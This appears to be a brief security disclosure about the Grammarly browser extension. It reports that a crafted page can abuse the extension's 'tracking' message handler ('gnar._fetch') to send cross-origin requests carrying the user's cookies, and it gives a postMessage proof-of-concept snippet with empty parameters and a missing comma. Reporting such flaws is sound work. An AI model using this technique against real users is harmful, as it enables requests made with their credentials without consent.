Handling of `tracking` command allows making arbitrary blind requests with user's cookies from Grammarly Extension's origin

Attacker could trigger Grammarly extension's `gnar._fetch` command using a crafted page to perform XHR with cookies and any configurational params to any cross-origin resource.

window.postMessage({
    grammarly: true,
    action: 'tracking',
    method: 'gnar._fetch',
    props: {}
    params: {}
}, "*")